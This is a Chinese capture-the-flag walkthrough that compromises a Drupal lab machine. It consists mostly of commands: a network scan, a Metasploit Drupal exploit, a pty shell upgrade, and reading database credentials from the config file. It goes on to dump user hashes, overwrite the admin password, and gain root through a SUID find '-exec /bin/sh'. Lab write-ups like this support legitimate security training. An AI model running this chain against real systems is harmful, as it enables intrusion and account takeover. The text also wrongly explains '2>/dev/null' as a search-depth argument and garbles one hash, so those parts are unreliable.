1 nmap
nmap中Ping的类型
1.-sL(ListScan)不做扫描,只完成DNS解析和网址的
2.-sP(PingScan).默认发ICMPecho请求和TCP的ACK诘求80端口。
3.-PN(不用ping)
4.-PS<端口号列表>(TCP SYNPing).发TCP协议SYN
5.-PA<端口列表>(TCP ACKPing)发TCP协议ACK标记的空包,默认扫描80端口
6.-PU<端口列表>(UDP Ping).默认31338
7.-PE;-PP;-PM(ICMP Ping)
8.-PO<协议列表>(IP协议ping)
9.-PR(ARP ping)
使用nmap -PS指令扫描靶机
nmap -PS 192.168.225.0/24
2 找到ip在浏览器进行查看,进行信息收集,在页面寻找可利用点,可以看到在页面的底部有看到所使用的框架
3 接着使用工具msfconsole
4 工具启动完之后,在此工具下查找drupal框架相关漏洞
5 查找到框架模板,进行一一尝试,发现模板1可以利用,主要查看以下3个参数
6 查看到RHOST并没有值,所以设置RHOST参数,使用show options查看设置完的结果
set RHOSTS 192.168.225.149 设置payload参数 --》RHOSTS是设置靶机的ip
7 当攻击载荷设置完成之后,使用run运行攻击模块
8 使用shell进行交互,输入python语句进入交互
shell 拿web shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’ 建立通道,利用Python命令创建具有交互性质的shell
9 发现进行用户模式,使用ls进行查看目录与文件,发现了flag1.txt
这里就出现了flag1.txt
cat一下
Every good CMS needs a config file - and so do you.
翻译:每个好的CMS都需要一个配置文件——您也一样。
提示是查看配置文件,这个cms
的配置文件在/var/www/sites/default
下
10 在网站的配置文件中找到flag2并且发现数据库账密,思路,直接拖库,构造可登录账密
11 登录数据库,查看数据库
mysql -udbuser -pR0ck3t
12 在数据库查找有用信息,在数据库中发现了用户名与加密的密码
select * from users \G; —> \G 以格式化的形式输出
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: fred@example.org
13 退出数据库,查找是否还有信息可利用,一顿找,在家目录发现了flag4
14 在flag4中也没有看到有用信息,所以还得查找哈哈,终于在scripts目录中找到了有用信息,加密脚本
15 利用网站自带加密脚本,加密我们的明文密码123,将加密后的密文插入数据库并覆盖原有账户密码
password: 123 hash: S S SDdaLjP.NxK0o9zotYkEJ8D4t49T.CW.0kqFHPqJ1ZwiJV9/0KyEq
16 使用以下命令更新数据库密码,成功更新之后退出数据库
update users set pass=“ S S SDdaLjP.NxK0o9zotYkEJ8D4t49T.CW.0kqFHPqJ1ZwiJV9/0KyEq” where name=“admin”;
17 使用以下命令查找具有root用户的系统命令,发现/usr/bin/find可以利用,首先进入临时文件夹tmp(这里一定注意),在此文件下创建新的文件夹123,紧接着执行命令在查找123文件夹的同时执行Linux中的cmd
find / -perm -4000 2>/dev/null
在命令find / -perm -4000 2
中,数字2是指定的搜索深度参数,用于限制find命令搜索的目录层级。下面对命令进行解释:
find
命令用于在指定路径下搜索满足条件的文件。/
表示要在根目录下进行搜索。-perm
选项用于按照文件的权限进行筛选。-4000
表示要查找权限设置为Setuid的文件。2
是搜索深度参数,用于限制搜索的目录层级。数字2表示只搜索当前目录及其直接子目录,而不会搜索更深层级的目录。
因此,
find / -perm -4000 2
的意思是在根目录下,只搜索当前目录及其直接子目录,并查找权限设置为Setuid的文件。
请注意,在使用该命令时,需要以root权限运行,因为/root目录通常只有root用户有访问权限,否则可能会收到“Permission denied”错误。-
最特殊的就在这里,查找当前路径下全部用suid的文件
find . -perm /4000
find . -perm /u=s
查找当前路径下全部sgid文件
find . -perm /2000
find . -perm /g=s
查找当前路径下同时有SUID和SGID的文件
find . -perm /6000
find . -perm /u=s,g=s
18 到这里拿到root权限与最终flag
如果这里直接使用exec参数,会让结果无限递归,因为并没有找到你需要的文件,所以你需要先创建一个123文件,然后确保能够
find
到这个文件再执行命令
注意:
提权使用 find / -perm -4000 2>/dev/null来查看当前有哪些命令在使用的过程中具有root权限
find 123 -exec '/bin/sh' \; 使用find命令并执行/bin/sh调用命令解释器,解释器的权限也是root
通关秘籍总结
nmap -PS 192.168.225.0/24 在此网段里查看存活的ip
msfconsole 工具msf
search drupal 查找后加框架
use 1
set RHOSTS 192.168.225.149 设置payload参数
run 运行
shell 拿下web shell
python -c 'import pty;pty.spawn("/bin/bash")' 建立通道调用模块pty终端的模块pty.spawn的属性
find / -perm -4000 2>/dev/null
find搜索,/根下 -perm 查权限 4000代表root权限,使用此条命令可以看到以下命令临时具有管理员权限
cd /tmp 进入临时文件夹
mkdir 123 创建目录
find 123 -exec '/bin/sh' \; 查找目录的同时运行cmd,-exec 命令执行
cd /var/www
ls
cat flag1.txt 找到flag1
cd /var/www/sites/default
cat settings.php 找到flag2
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
select * from users\G; \G以格式化的形式输出
cd /var/www
php scripts/password-hash.sh 123
复制生成的密钥$S$DdaLjP.NxK0o9zotYkEJ8D4t49T.CW.0kqFHPqJ1ZwiJV9/0KyEq
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
update users set pass="$S$DdaLjP.NxK0o9zotYkEJ8D4t49T.CW.0kqFHPqJ1ZwiJV9/0KyEq" where name="admin";
浏览器页面中使用admin进入后台,在content选项卡中找到flag3
cd /home/flag4
cat flag4.txt 找到flag4
cd /root
ls
cat thefinalflag